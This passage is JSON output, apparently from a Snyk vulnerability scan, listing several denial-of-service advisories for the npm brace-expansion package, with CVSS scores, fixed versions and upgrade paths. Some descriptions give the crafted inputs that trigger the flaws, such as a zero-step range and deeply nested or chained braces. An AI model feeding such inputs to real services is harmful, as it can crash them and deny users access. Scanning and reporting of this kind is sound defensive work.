"disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmversion@8.0.3", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmversion@8.0.4", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmversion@8.0.3", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmversion@8.0.4", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmversion@8.0.3", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmversion@8.0.4", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmversion@8.0.3", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmversion@8.0.4", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmversion@8.0.3", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmversion@8.0.4", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmversion@8.0.3", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmversion@8.0.4", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", 